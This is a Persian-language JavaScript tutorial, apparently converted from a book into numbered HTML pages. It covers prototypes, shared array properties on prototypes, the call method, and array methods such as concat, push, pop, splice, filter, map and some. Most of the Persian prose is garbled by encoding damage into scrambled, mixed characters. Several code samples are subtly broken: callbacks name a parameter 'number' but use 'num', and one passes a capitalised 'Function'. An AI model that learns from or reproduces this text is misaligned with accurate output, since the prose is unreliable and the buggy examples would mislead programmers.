Æ
قاب
ϲ
ی
ßÁ
ز
Û
ان ¸اب
È
، ه
prototype
Ï
د
Á
از
º
¼ م¾د
Ù
ی
Á
م·ز
»
صد
»
ر
Ï
د
Á
از
º
، م¾د
Û
¸اب
prototype
ر¼´
²
بار ب
²
ه
ی
º
· م·ر
Â
ص
» Û
ب¶ ¸اب
³
د
ß
شدن، م
ϳ
ز
»
صد
²
ز ه
» ìÅ ،µº» ·Â
ص
»
³
ور
ò
ب
Ï
و
ÞÁ ¼ Æ
ح
»²
م·باشد ¼ م
ç
¿ موضو
±» ´
ا
±
گو
Í
، کام
ÆÎ
¶ ق
Þ
صف
Ï
¶ شد
Ç»
ر
» ²±
و
ภµÝ
ی
Ý
ر ح
³
.µº» ϳ»³ ï²
ش
µ
ح
»²
ب¶ ص
»
شیاء ر
»
با
[
prototype
»°
ک
Â
م
ز
» ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³ ÆÇ
´ مسا
²º Ú± ¶
ید ب
É
ها کار ک
prototype
· با
È
ک
²
گ
» µº» ¿¹È
م
íÍ
ید ک
É
ک
þ²Ó ،
¶ها
Á
ا
à ´»²
ب
Ï
شد
²
ک
è Ñ
مثا
³
ر مور
³ Ñ
´ مثا
»²
ید، ب
É
ک
³
ور
ò
ب
Ï
¾¶ شد
Ã
ا
º ´
شیا
»
،³
ر
»³ ¶Á
ا
à ²
اص· ک¶ ه
Ã
ات
Á
ا
¹
م
» ´
ر
»
د
ÔÌÁ ´»²
باشد ک¶ ب
features
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ´»
ر
»³ ¶Á
ا
Ã
باشد:
²±
ز
ƹ
ما ب¶ ش
íÍ
ح· ک
»²
ط
²
گ
» Ñ
. حا
³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
var
House =
function
(
area
){
this
.area = area;
}
House.prototype.calcPrice =
function
(){
return this
.area *
14509000
;
}
House.prototype.features = [
“pool”
,
“roof garden”
];
75
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/78.html ================================================
ر
³ ¶
هد ک
³·
م
µÎ
س
Á
features
¶±»
ب¶ آر
»
ر
Ë
ا
à ´
ژگ·ها
±¼ ´²
س
¹± þ²Ó Ä
ی
Å
ب¶ صورت
íÍ
ک
Ù
ی
É
ک
³
ا
ß±» íÍ
¿ ک
±»
ز
» ¶Á
و
ÈÁ ¼³ ²
گ
» .
باشد
ϳ
¾فا
º» ¼ ·º²¾º³ Æ
ی× قاب
Á Ï
¾¶ شد
Ã
ا
º
شیاء
» Ö
ا
ȸ
هد:
³·
م
ý
· ر
Î
ی
ß
¶ ع
ß
¾ی
Á ،Ù
ی
É
¶ ک
Ó
ضا
» ²Ì±³
feature
Ú±
ز آنها
» ·¹± ¶
¼ ب
// instance of House
var
myHouse =
new
House(
60
);
var
hisHouse =
new
House(
85
);
// add new feature to one
myHouse.features.push(
“parket”
);
myHouse.features;
// [“pool” , “roof garden” , “parket”]
// read features on another one
hisHouse.features;
// [“pool” , “roof garden” , “parket”] ?!
// remove feature of another one
hisHouse.features.splice(
1
);
hisHouse.features;
// [“roof garden” , “parket”]
myHouse.features;
// [“roof garden” , “parket”] ?!
óÝÓ
¶ ما
¹
ر حالی
³ ،
د
Á»Ï
شد
parket
ن
»
و
É
با ع
feature
s ´»
ر
»³
object
¼³ ²
ک¶ ه
Ù
ی
É
م·ک
Ï
اهد
Ð
م
؟
µº
ا
ß
ز ک
» ƹÐ
ید م
Á×
ب
í
ید حد
Á»
. م·¸و
Ù±³²
¶ ک
Ó
ضا
» »
ژگ· ر
±¼ ¿±»
myHouse
ب¶
íÍ
· ک
ÉÕ± ،·Â
ص
» ìÁ²Ó
ر
features
ژگ·
±¼
ز
»
object
¼³ ²
ه
ز¾Ð
م
ϳ
¾فا
º» Æ
لی
³ ¶
ب
ƹÐ
¿ م
±»
ا
±
دن
Á»
و
à ´»²
¾· ب
º»
و
Ã
ر
³ ،
object
²
ر¼´ ه
²
· ک¶ ب
Á
زما
µ
پ
±²¹º»¼
ر جا
³ .
هد
³·
م
ý
ر
House
ر¼´
²
¾· ب
º»
و
Ã
ر
³
ا م¾د
± ·
ژگ
±¼ Ñ
ا
ÎÁ³ ¶
ب
µ
پ
±²¹º»¼
، مو¸ور جا
³
¶ م·شو
Ç»
ر
»
ا م¾د
± ·
ژگ
±¼ ¿¾
وش
Á
آن
Ñ
ا
ÎÁ³ ¶
لد ب
»¼
ان
È
ب¶ ه
dunder proto
4
ر
³ ،
دن آن
ÐÁ µÓ
ا
±
ر صورت
³ ¼ ³³²
· م·گ
ÂÕÓ
object
د.
É
م·ک
»
ید
Å ¶
م
»³»
د
º²
ال· ب
Ã
لد
»¼ ¶
· ک¶ ب
Á
¿ ¸ا زما
±» Ö
ا
ßÁ» ¼ ³³²
م·گ
ب¶
»
، آن ر
constructor
ر
³
features
ژگ·
±¼
ن
³²
ک
ê±²Õ¸ ´
ی×، چون ما ب¶ جا
Á Ä
¿ بخ
±»
ر
³
·Â
ص
» ìÁ²Ó
ز ر
» ،³
و
à À¾
مخ
features
ش¾¿
»³ ´
ب¶ جا
object
²
! ه
Ù±»Ï³»³ ¶Ç»
ر
»
prototype
م·شو
ð
ی
Þภ²±
ز
ƹ
ب¶ ش
ø
و
Ó
کد
ìÅ .
هد
³·
ر م
»²
ق
ϳ
¾فا
º» ³
مور
»
ر
features
4 __proto__
76
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/79.html ================================================
var
House =
function
(
area
){
this
.area = area;
this
.features = [
“pool”
,
“roof garden”
];
}
House.prototype.calcPrice =
function
(){
return this
.area *
14509000
;
}
// instance of House
var
houseA =
new
House(
60
);
var
houseB =
new
House(
85
);
houseB.features.push(
“parket”
);
houseA.features;
// [“pool” , “roof garden”]
houseB.features;
// [“pool” , “roof garden” , “parket”]
؟
³²
ک
ϳ
¾فا
º»
constructor
ز
» ·Á
¼ چ¶ زما
prototype
ز
»
د
±
· با
Á
ید. چ¶ زما
É
ک
Ñ»
و
º µº» ¿¹È
م
ا
± Û
· ک¶ ¸اب
Á
، زما
³
ر
»³
ا م¾د
± ·
ژگ
±¼ ç
و
Á ¶
· ب
̾
¼ بس
³»³
ن
»
·¸و
ÈÁ ·Õä
ق
²æÁ ¶
ک
µº» ¿±» Ąº
ا
Å
، ب¶ صورت
Ï
¾¶ شد
Ã
ا
º
object
²
ر ه
³
، ب¶ جا´ کپ· شدن آن
³
شو
ê±²Õ¸
prototype
ر
³ ·
ژگ
±¼
ر
»²
ق
constructor
ر
³ ²æÁ ³
ژگ· مور
±¼
ا
±
م¾د
²
گ
» ¶
ر حال·ک
³ ،³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
س· مور
Á²Ó
ر
¶ م·شو
Ó
ضا
» Ï
د
Á
از
º
ز
» ·
کپ
Ú± ×
ی
Á á³
و
à ´
ژگ·ها
±¼
ر
³ Ï
¾¶ شد
Ã
ا
º
object
²
´ ه
»
ز
» ¶
، ب
³²
گی
²
ب
ϼÍ
ع
constructor
ا
±
prototype
ر
³ ²æÁ ³
ژگ·ها´ مور
±¼ ¼
´ م¾دها
²
رگی
»²
ق
ð
ی
Þ
¾خا½ ص
Á»
¼ ð
ی
Þ
´ ص
»²
ج
»
ر
³ ،¶
ام
Á²
· ب
Ó²à
¶ م
æÓ
ن حا
»×
شدن می
²¾È
د ¼ ک
±
جد
object
³
ا
ß±» µ
ع
²º ³
و
ÎÔ
ب
هد بو
»
و
Ã
ر
»
گذ
²
ی
â
ی× ¸ا
Á Ù¾
یس
º ú
بد¼ن با
[
call
ز
² µ
اد
Ö¿
س
²
ا
³ À³²¶Á Ʋ
جر
²
ز
» ϳ
¾فا
º»
ن با
»
´، م·¸و
³
· شدن عا
Á»
و
û²Ó
ب¶ صورت
Û
ب
»
´ ¸و
»²
ج
» ²
ب
ϼÍ
، ع
µ
پ
±²¹º»¼
ر جا
³
´ مثا
»²
، ب
µÃ
ا
º ëÝÞ
م
»
ر
Û
´ ¸اب
»²
ج
» ¼ ·Á»
و
û²Ó ،µº» í²¾º³ Æ
قاب
Û
ب
»
ر¼´ ¸و
²
ک¶ ب
call
Û
¸اب
77
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/8.html ================================================
================================================ FILE: HTML/80.html ================================================
function
showUserAge
(
userAge
) {
console
.log(userAge);
}
showUserAge.call(
this
,
26
);
یی¿
Õ¸ ´»²
ب
( ²æÁ ³
مور
object
Ѽ» ´³¼
ن ¼ر
»
و
É
ب¶ ع
call
Û
د، ¸اب
ɾ
¾یار´ هس
û
call
Û
´ها´ ¸اب
³¼
¼ر
À
خ
Ð
م
scope
Ú±
ر
³ Û
ا ¸اب
ßɱ»
¼ چون
ϳ²
ک
µÓ
ا
±
ر
³ »
ر
)²æÁ ³
مور
object
ϳ¼
د
Þ
ر م
³ »²
ج
»
ن
»
و
É
ب¶ ع
é
¸ی
²¸ ¶
د´ ب
Õ
ها´ ب
²¾
م
»
ار
Å ¼ Ù
هی
³·
م
í
ا
Å »
ر
this
،µ
یس
Á Ë
ا
Ã
object
Ú± ¶
ب
Ê
بو
²
م
Ñ
ا
º
ر
» Û
ب¶ ¸اب
²
¿ کارب
º
ن
»
و
É
ب¶ ع
26
ا
ßɱ»
ر
³ ¶
د ک
Á
م·شو
ϳ»³ í
ا
Å Û
´ ب¶ ¸اب
³¼
آرگومان ¼ر
م·شو
Ö
و
Ô
¸ا مف
Ù
ی
É
ک
²
ک
è
call
´ م¾د
»²
ب
Ѽ»
object
²¾
م
»
ار
Å
ز
» ϳ
¾فا
º» ´»²
ب
scope
Ú± ³
ز ¼جو
» ·
د مثال
±
ر
»
ذ
Ì
ب
ز
»
scope
Ú± ÆÃ»³
ر
³
getFullName
Ö
ا
Á ¶
· ب
Õ
¸اب
²±
¶ کد ز
¹¸
ر
³ .Ù
هی
³ ¶Ç»
ر
» ²¸Æ
کام
»
ر
Ѽ» ²¾
م
»
ار
Å
ید:
É
ک
Ï
اهد
Ð
، م
³»³ Ö
ا
ßÁ» ·
ف
¾
مخ
ƹ
ب¶ ش
»
ر
call
ن
»
م·¸و
Ñ
، حا
µº» ¶¾Ó²
ر گ
»²
ق
User
Ö
ا
Á ¶
´ ب
»
object
var
User = {
getFullName:
function
() {
return this
.name +
this
.family;
}
}
var
userOne = {
name:
“Ali”
,
family:
“Ahmadi”
,
};
var
userTwo = {
name:
“Reza”
,
family:
“Karimi”
,
};
User.getFullName.call(userOne);
// “Ali Ahmadi”
ìÅ ،
م·باشد
User
´»²
ب
Ï
شد
ê±²Õ¸
object
ز
»
م¾د
Ú±
getFullName
، چون م¾د
ø
و
Ó Ñ
ر مثا
³
Û
¸اب
é
¸ی
²¸ ¿±
¼ بد
ϳ»³ ¶Ç»
ر
» »
ر
User
ϳ
¾فا
º» ´»²
یاز ب
Á ³
مور
object
،
call
´ م¾د
»²
ج
»
با
Ù
ی
Á»
م·¸و
78
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/81.html ================================================
óº
، ¸و
µº» Ѽ» ²
عات کارب
Í
ط
» ¶ß
¾ی
Á
ر
³ ¼ Ù
ی
É
ک
»²
ج
» ³
و
à ²æÁ ³
¾ا´ مور
±³
با
»
ر
getFullName
م·شو
ö
چا
Ñ
سو
É
ر ک
³ "
Ali Ahmadi
رش¾¶ "
¼ Ï
شد
ϳ
¾فا
º»
getFullName
م¾د
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
باشید.
ϳ²
ک
»
ید
Å µÃ
ا
É
ها´ آن ش
³²
¼ کارب
Û
ب
»
¸و
³
ر مور
³
±
د.
±²
ی
Ì
ار ب
¹
ب
»
یاز آنها ر
Á
ر صورت
³ ¼ ¶¾Ã
آمو
»
ر
)¶¾Ã
ا
É
اش
Á( Ö
ا
Á ·
ب
Û
ب
»
ز ¸و
» ϳ
¾فا
º» Ï
و
ÞÁ
±
Û
¸اب
Ö
ز
° Û
ق
»
ر مو
³ ¼ ϳ²
ک
µÓ
ا
±
ر
³ Û
¸اب
ƹ
´ ب¶ ش
²¾
م
»
ار
Å ¶
ید ک
É
ک
ê±²Õ¸ ·Õ
ب
»
ید ¸و
Á»
ب¾و
د.
ÉÉ
· ک
Á»
و
û²Ó »
¾· ر
Ó
ا
±
ر
³
±
باشید.
Ï
م¾وج¶ شد
Í
کام
»
ز آن ر
» ϳ
¾فا
º» Ï
و
ÞÁ ¼
prototype
Ö
و
Ô
مف
±
¿±»
ر
³ »
ر
dunder proto
Ö
و
Ô
ید مف
Á»
¼ ب¾و
ϳ²
ک
Ø
ر
³ »
ر
constructor
¼
prototype
ϲ
ی
ßÁ
ز
ید.
É
ک
ϳ
¾فا
º» ¼ ϳ»³ ´
جا
ϲ
ی
ßÁ
ز
±
م¾وج¶ باشید.
»
ز آن ر
» ´²
وگی
Â
ج
Ï»
¼ ر
prototype
ز
» µº
ر
³
ا
Á ϳ
¾فا
º» ´
اها
äÃ
±
با آن
»
¼ مثال· ر
ϳ²
ک
ϳ
¾فا
º» ¶
¼لی
»
object
¶Ç»
ر
»
ان
¹
م
»
با
Û
ب
»
· ¸و
Á»
و
û²Ó ´»²
ب
call
ز م¾د
»
ید.
É
ک
»²
ج
»
79
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/82.html ================================================
================================================ FILE: HTML/83.html ================================================
³
بخش پنج
object
یه و
±»
رف¾ه آ
ÂÃÄ
مباحث
ر
ÁŲ
به
Á
¿ مر
À±µÁ ´±
ر
Æ·
ه
À
ا¶½ا¼ بخش:
ا
Ã
یه
µº
آ
Á
ا
Ã
م¼د
Á½
کر
º
کا
Ǻ½
آش¸ای· و
ا
ö
ز آ
µ ½
س¼فا
µ
ه
Ñ
ری
Ð
ا و
Ã
یه
µº
ه آ
»
آش¸ای· با ش
یه
µº
م×¼ل¾ ساخت آ
Á
ا
³
وش
º
ه و آش¸ای· با
Ò
ای
Ñ
م
ا
Ã
object
Á
د
È
کل
Ì
ب
µ²À
آش¸ای· با
ا
Ã
م¼د
Á
ر
ÈØ
ن· زن
µ²
خ
µ
ر
Ï
و
method chaining ±²³
مف
Ǻ½
ر
ÀÙ
ه با
»À
مر
Ì
ب
µ²À
آش¸ای· با
================================================ FILE: HTML/84.html ================================================
[
یه ¸ا
²¼
آ
Æ
¸ا
¹¿
م
ϳ
¾فا
º»
ان
¹
م
» ¶
د ک
ɾ
هس
³
¶ها موجو
±»
ر¼´ آر
²
ب
Û
ب
»
ز ¸و
» ·
وب
Ã
بسیار
ç
و
ɸ µ
پ
±²¹º»¼
ر جا
³
د.
Á
از
º·
م
Ù
ه
»²Ó
ها
ϳ»³
ز
» ¶
وع
Èß
¿ م
±» ´¼
ر
²
ب
»
ر
ê¾
ار´ها´ مخ
¹¾º³ ¼
ات
Á
ا
¹
م
»
ز
»
ز آنها ک¶ ب¶
» ´³»
د
Õ¸ ¶
ب
Ù
ی
É
· م·ک
Õº Ä
¿ بخ
±»
ر
³ ،
¶ها
±»
ر¼´ آر
²
ب
Û
ب
»
¸و
³
ا
±
ز
ç
و
ɸ Æ
لی
³ ¶
ب
·Â
کام
ð
، ¸وضی
Ñ
د مثا
É
با بیان چ
Ö»
کد
²
ه
³
ر مور
³ ¼ Ï
شار
» ،
د
Á²
ر م·گی
»²
یاز ق
Á ³
مور
ϳ²¾
صورت گس
هی
³ ¶Ç»
ر
»
Á
، ¸وج¶
³¼
´ ب¶ کار م·ر
²Ì±³ ϳ»³ ç
و
Á ²
¶ با ه
±»
آر
Ú± Ñ
ا
฻ ´»²
¿ م¾د ب
±»
:
concat
تد
³
.³²
ک
concat
¶±»
آر
Ú±
ن با
»
م·¸و
»
ر
Û
ب
»
¸ا ¸و
³»
عد
»
ز
» ·ÉÕ± ،ϳ»³ ç
و
Á ²
ه
Ù
ی
±
ک¶ ¼ق¾· م·گو
³
شو
´ مثا
»²
ب
82
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/85.html ================================================
[
2
,
4
].concat(
3
);
// [2,4,3]
[
2
,
4
].concat(
“test”
);
// [2,4,”test”]
[
2
,
4
].concat([
3
]);
// [2,4,3]
[
2
,
4
].concat({a:
2
});
// [2,4,{a:2}]
[
2
,
4
].concat([
3
],[
5
]);
// [2,4,3,5]
¿ م¾د ب¶
±» ·Â
¾ار ک
Ã
ا
º ،Ù±³²
ک
Ï
اهد
Ð
م
»
¶ ر
±»
آر
Ú±
شدن با
concat
Æ
قاب
ϳ»³ ç»
و
Á»
ز
» ç
و
Á
د
É
چ
:µº» ²±
ز
ƹ
ش
array1.concat(value2, value3,..., valueX)
Á
¿±
د
É
م·باشد ک¶ با چ
ϳ
ا
º ·¸
یا
ÂÈ
¶ ع
±»
ز آر
» ò
¼ حذ
Ò
ر
³ µ±²±
مد
:
pop
Å
push
²
تد¼ا
³
د ¼
±
´ جد
²àÉ
ع
Ò
ر
³ ´»²
ب
push
ز
» ϳ
¾فا
º»
ها
á¼
ز ر
» ·¹± ،³
م·شو
Ö
ا
ßÁ» ·
گ
³
ا
º ¶
¼ ب
á¼
ر
push
ش¾¶ باشید ک¶ م¾د
»³ ²
اط
à ¶
¾¶ ب
Î
ل
» ،
¶ م·باشد
±»
آر
²àÉ
¿ ع
±²Ã
آ
ò
´ حذ
»²
ب
pop
ز
» ϳ
¾فا
º»
ر
»
د
Ý
¶، م
±»
ا´ آر
Ô¾Á»
ز
» ²àÉ
ع
ò
ز حذ
»
د
Õ
ب
pop
د ¼ م¾د
Á»²
باز م·گ
»
¶ ر
±»
شدن آر
Ò
ر
³ ÆÞ
م
ì±
د
Á»
´ مثا
»²
هد. ب
³·
م
µÐ
بازگ
»
ر
Ï
شد
ò
حذ
²àÉ
ع
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
array.pop();
// 6
array.pop();
// 5
array.push(
9
);
// 4
console
.log(array);
// [1,2,3,4,9]
µÐ
م·باشد بازگ
6 ¶
ر آن، ک
»
د
Ý
¼ م
³
م·شو
ò
¶ حذ
±»
ز آر
» ÙÐ
ش
²àÉ
ع
pop
Û
¸اب
Ñ
ا
È
ع
» ¿
¼لی
»
با
Ï
شد
ϳ»³ µÐ
ر آن بازگ
»
د
Ý
¼ م
Ï
شد
ò
ی× حذ
Á ÙßÉÅ ²àÉ
¿ م¾د ع
±» ³
د
ß
´ م
»²
ج
»
، با
³
م·شو
ϳ»³
ì±
د
Á» ¼ Ï
شد
³
ا
ß±» 4 ì±
د
Á»
د با
±
´ جد
²àÉ
ع
9
ر
»
د
Ý
با م
push
· م¾د
Á»
و
û²Ó
با
ì
پ
º ،µº»
م·شو
ϳ»³ µÐ
آن بازگ
:µº» ²±
ز
ƹ
ب¶ ش
pop، push ´
¾ار م¾دها
Ã
ا
º
array.push(item1, item2,..., itemX)
array.pop()
// no parameter
83
Í×
پن
ØÉ³
================================================ FILE: HTML/86.html ================================================
Á
Ú±
ز
» ϳ
¾فا
º»
¶ با
±»
آر
²
اص
É
بی¿ ع
Ñ
ا
฻ ³
ا
ß±» ¼ ¶¾
¶ ب¶ رش
±»
آر
Ʊ
د
θ ´»²
ب
:
join
تد
³
´ مثا
»²
، ب
³
م·شو
ϳ
¾فا
º»
¿ م¾د
±»
ز
» Ï
د
ÉÉ
ک
»
جد
[
“ali”
,
“reza”
,
“mohammad”
].join(
“_”
);
// “ali_reza_mohammad
Á
آن
ò
ز حذ
» ìÅ ·¾
¼ ح
ϳ²
ک
ò
حذ
»
ر
²àÉ
ع
m
د
Á»
م·¸و
n
ì±
د
Á»
ز
»
¿ م¾د
±»
:
splice
تد
³
ک¶
³
. ¸وج¶ شو
)µº» ´
¾یار
û ³
¿ مور
±»(
د
É
¿ ک
±×̱
ب¶ جا´ آنها جا
»
د´ ر
±
جد
²±³
ا
Ý
م
²
اص
É
ع
د. مثا
ɾ
¶ هس
±»
ز آر
» Ï
شد
ò
حذ
²
اص
É
¿ م¾د، ع
±» ·¾Ð
ر بازگ
»
د
Ý
م
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
array.splice(
1
,
2
,
“newOne”
,
“newTwo”
);
// returns [2,3]
console
.log(array);
// [1, “newOne”, “newTwo”, 4, 5, 6]
µÓ
ا
±
ر
³
¿ م¾د با
±» .
هد
³·
¶ م
Ç»
ر
»
splice
م¾د
³²¹ÂÈ
ع
Ï
و
ÞÁ Ï
ربار
³ ¶¾¹Á ¿±
د
É
، چ
ø
و
Ó Ï³
ا
º Ñ
مثا
د
Á»
، م·¸و
Ö¼³ ²¾
م
»
ار
Å
ن
»
و
É
ب¶ ع
)2(²æÁ ³
مور
²
اص
É
ع
³»
د
Õ¸ ¼ Ѽ» ²¾
م
»
ار
Å
ن
»
و
É
ب¶ ع
)1(ç¼²
ش
ì±
د
Á»
¿±» ²Ì±³ ·
ژگ
±¼
ز
»
ما
ø
و
Ó Ñ
ر مثا
³
ما
» ،
د
É
ک
ò
حذ
²æÁ
¶ مد
±»
ز آر
» »
ر
3 ¼ 2 ²àÉ
¼ ع
³ ƹÐ
بد¼ن م
د´ ب¶ جا´
±
جد
²
اص
É
، ع
²æÁ ³
مور
²
اص
É
شدن ع
ò
با حذ
Ù
هی
»
و
÷
¼ م
Ù±»Ï³²
ک
ϳ
¾فا
º» ×
ی
Á
م¾د
ب¶
array
¶±»
آر
²
¸÷یی
»²
ج
» ¶ß
¾ی
Á ¼ Ù±» ϳ»³ í
ا
Å
ب¶ م¾د
»
د ر
±
جد
²¾
م
»
ار
Å ¼³ ìÅ ،Ù
ی
É
ک
Ò
ر
³
آنها
ما م·باشد.
²æÁ ³
مور
ƹ
ش
:µº» ²±
ز
ƹ
ب¶ ش
splice
· م¾د
Â
¾ار ک
Ã
ا
º
array.splice(index, howmany, item1,
.....
, itemX)
Á
´»²
د ب
Á»
م·باشد، م·¸و
»²
ج
» ¼ í²¾º³ Æ
´ قاب
»¶±»
آر
²
ر¼´ ه
²
¿ م¾د ک¶ ب
±»
:
forEach
تد
³
´ مثا
»²
د، ب
É
¸ان ک
ÚÈ
¶ ک
±»
آر
²
اص
É
ع
Ú¸ Ú¸ ´¼
ر
²
ن ب
³
¶ ز
ÝÂ
ح
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
array.forEach(
function
(
item
) {
console
.log(item);
// output: 1 2 3 4 5 6
});
84
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/87.html ================================================
Á
ϳ
¾فا
º» ³
¶ مور
±»
ر آر
³ ´²àÉ
ن ع
³
بو
³
· موجو
º
ر
²
´ ب
»²
د ب
Á»
¿ م¾د م·¸و
±»
:
includes
تد
³
¶ß
¾ی
Á ¼ ·º
ر
²
ب
²æÁ ³
¶ مور
±»
ر¼´ آر
²
ب
»
ن آن ر
³
بو
³
، موجو
²æÁ ³
´ مور
³¼
¼ر
µÓ
ا
±
ر
³
¼ با
³²
ر گی
»²
ق
´ مثا
»²
د. ب
Á»³²
م·گ
²
ب
false
ا
±
true
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
array.includes(
2
);
// output: true
array.includes(
7
);
// output: false
و
ÈÁ ´
از
ºÏ³
یا
Å ²±
ب¶ صورت ز
indexOf
Û
ز ¸اب
» ϳ
¾فا
º»
با
»
¿ م¾د ر
±» ѳ
ا
Õ
ن م
»
¾¶ م·¸و
Î
ل
»
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
(array.indexOf(
2
) >
-1
);
// output: true
(array.indexOf(
7
) >
-1
);
// output: false
ن آن
³
بو
³
ا´ موجو
ÉÕ
ب¶ م
³
بو
-1
ز
» ²¾
ب×رگ
²
گ
» ،²æÁ ³
مور
²àÉ
ع
³»
د
Ã
ر
ÆÞ
· م
º
ر
²
با ب
ƹ
¿ ش
±» ¶
ب
:µº» ²±
ز
ƹ
ب¶ ش
includes
· م¾د
Â
¾ار ک
Ã
ا
º .
م·باشد
²æÁ ³
¶ مور
±»
ر¼´ آر
²
ب
array.includes(element, fromIndex)
fromIndex
Ö¼³ ²¾
م
»
ار
Å ·
ه
³
ر
»
د
Ý
ن با م
»
¿ م¾د م·¸و
±»
ر
³ ،³
م·شو
Ï
اهد
Ð
م
ø
و
Ó ¶Á
و
ÈÁ ¶
ور ک
äÁ
ا
È
ه
.³»³ Ö
ا
ßÁ»
د
Õ
ب¶ ب
ì
دک
ɱ»
ز آن
» ،»
¶ ر
±»
ر¼´ آر
²
ب
²æÁ³
ر مور
»
د
Ý
ن م
³
بو
³
´ موجو
»²
و ب
ß¾
جس
Á
³
ا
ß±» »
د´ ر
±
¶ جد
±»
، آر
²¾
م
»
ار
Å
ن
»
و
É
ب¶ ع
Ï
¶ شد
Ç»
ر
» ó±»²
· ش
º
ر
²
¿ م¾د با ب
±»
:filter
تد
³
´ مثا
»²
د، ب
Á
¶ م·شو
Ç»
ر
»
ب¶ م¾د
Û
¸اب
é
ر قال
³ ó±»²
د. ش
É
م·ک
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
// just larger than 3
var
filteredArray = array.filter(Function(
number)
{
return number >
3;
});
console
.log(filteredArray);
// output: [4, 5, 6]
console
.log(array);
// output: [1, 2, 3, 4, 5, 6]
85
Í×
پن
ØÉ³
================================================ FILE: HTML/88.html ================================================
،µº» Ï
د
Á
¼لی¶ باق· ما
» ´
ها
ϳ»³
¼ با
²
بد¼ن ¸÷یی
array
Ö
ا
Á
¼لی¶ با
» ¶±»
ک¶ آر
Ù
ی
É
م·ک
Ï
اهد
Ð
م
¶±»
ز آر
» 3
ز
» ²¾
ب×رگ
²±³
ا
Ý
´ م
»
ر
»³
ا
Ôɸ ¶
، ک
Ï
شد
³
ا
ß±»
filteredArray Ö
ا
Á ¶
د´ ب
±
¶ جد
±»
¶ آر
¹
رحالی
³
· م·باشد.
Â
ص
»
ر
³ ³
موجو
³»
عد
» ´¼
ر
²
م·باشد ک¶ ب
²¾Â
ی
Ó Ê²
ش
Ö
ا
ßÁ» ´»²
ب
Ï
¶ شد
Ç»
ر
» Û
، ¸اب
filter
· م¾د
Â
ص
» ¶¾¹Á
ا´
ÉÕ
ب¶ م
true
ر
»
د
Ý
د. م
Á»³²
م·گ
²
ب
false
ا
±
true
ن آن
³
بو
3
ز
» ²¾
· ب×رگ
º
ر
²
¼ با ب
Ï
ر شد
»²¹¸ ¶±»
آر
م·باشد.
Ï
شد
²¾Â
ی
Ó ¶±»
دن ب¶ آر
ÐÁ ¶Ó
ضا
» ´
ا
ÉÕ
ب¶ م
false
¶ شدن ¼
Ó
ضا
»
هد بو
»
و
à ²
ب
»²
¼ کد ب
³ ²
¼ج· ه
²Ã ¼
م·باشد
²±
کد ز
Ï
شد
Ï
کو¸ا
ø
و
Ó
کد
µÝ
ی
Ý
ر ح
³
// just larger than 3
var
filteredArray = array.filter(
function
(
number
){
if
(number >
3
){
return
true
;
}
else
{
return
false
;
}
});
console
.log(filteredArray);
// output: [4, 5, 6]
Á
Ñ
´ مثا
»²
د، ب
É
م·ک
³
ا
ß±»
د
±
´ جد
»¶±»
¶، آر
±»
آر
²
اص
É
ر¼´ ع
²
ن ب
³
¶ ز
ÝÂ
¿ م¾د با ح
±»
:
map
تد
³
د:
Á»Ï
شد
²
ب
»²
¼ ب
³
آن
²
اص
É
ع
Ö
ا
ȸ ¶
ک
Ù
ی
É
ک
³
ا
ß±» ³
و
à ¶±»
ز ر¼´ آر
»
د
±
¶ جد
±»
آر
Ú± Ù
ی
Á»
م·¸و
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
var
doubledArray = array.map(
function
(
number
){
return
num *
2
;
});
console
.log(doubledArray);
// output [2, 4, 6, 8, 10, 12]
console
.log(array);
// output: [1, 2, 3, 4, 5, 6]
false
ا
±
true
Û
¿ ¸اب
±» ،
د
±²
ی
ÌÁ Ï
ا
ξ
ش
» filter
با م¾د
Ï
¶ شد
Ç»
ر
» Û
با ¸اب
»
¿ م¾د، ر
±»
با
Ï
¶ شد
Ç»
ر
» Û
¸اب
»
ر
Ù
ش¾¶ باشی
»³ Ù
هی
»
و
÷
¶ م
±»
ز آر
» ²æÁ ³
مور
ì±
د
Á»
ر
³ ¶
د´ ک
±
ر جد
»
د
Ý
¶ م
¹Â
د، ب
Á»³²
·گ
ÈÁ
باز
²
اص
É
ن ع
³²
ک
map
·ÉÕ± ،
د
Ð
م·ک
á¼³ ²
ب
Û
ن ¸اب
»
و
É
ان مسئولی¾· ک¶ ع
È
ه
Û
ق
»¼
ر
³ ¼
د
É
بیان م·ک
هد.
³·
م
Ö
ا
ßÁ» »
¶ ر
±»
آر
86
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/89.html ================================================
Á
ϳ»³ ¶Ç»
ر
» ó±»²
ش
Ñ
و
ÈÐ
¶ م
±»
آر
²
اص
É
ز ع
» ·¹± Æ
ق
»
د ک¶ حد
É
· م·ک
º
ر
²
¿ م¾د ب
±»
:
some
تد
³
´ مثا
»²
هد. ب
³·
م
µÐ
بازگ
true
ن
³
بو
ð
ی
Þ
ر صورت ص
³ ¼
باشد
Ï
شد
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
// has greater than 4 ?
var
hasLargeThanFour = array.some(
function
(
number
){
return
num >
4
;
});
console
.log(hasLargeThanFour);
// output: true
// has negative or zero
var
hasNegative = array.some(
function
(
number
){
return
num <=
0
;
});
console
.log(hasNegative);
// output: false
هد بو
»
و
Ã
true
¶Â
¶ حاص
ß
¾ی
Á ¼ Ù
ی
É
م·ک
Ú
چ
»
ر
4 ´°
´ با
³
عد
³
¶، ¼جو
±»
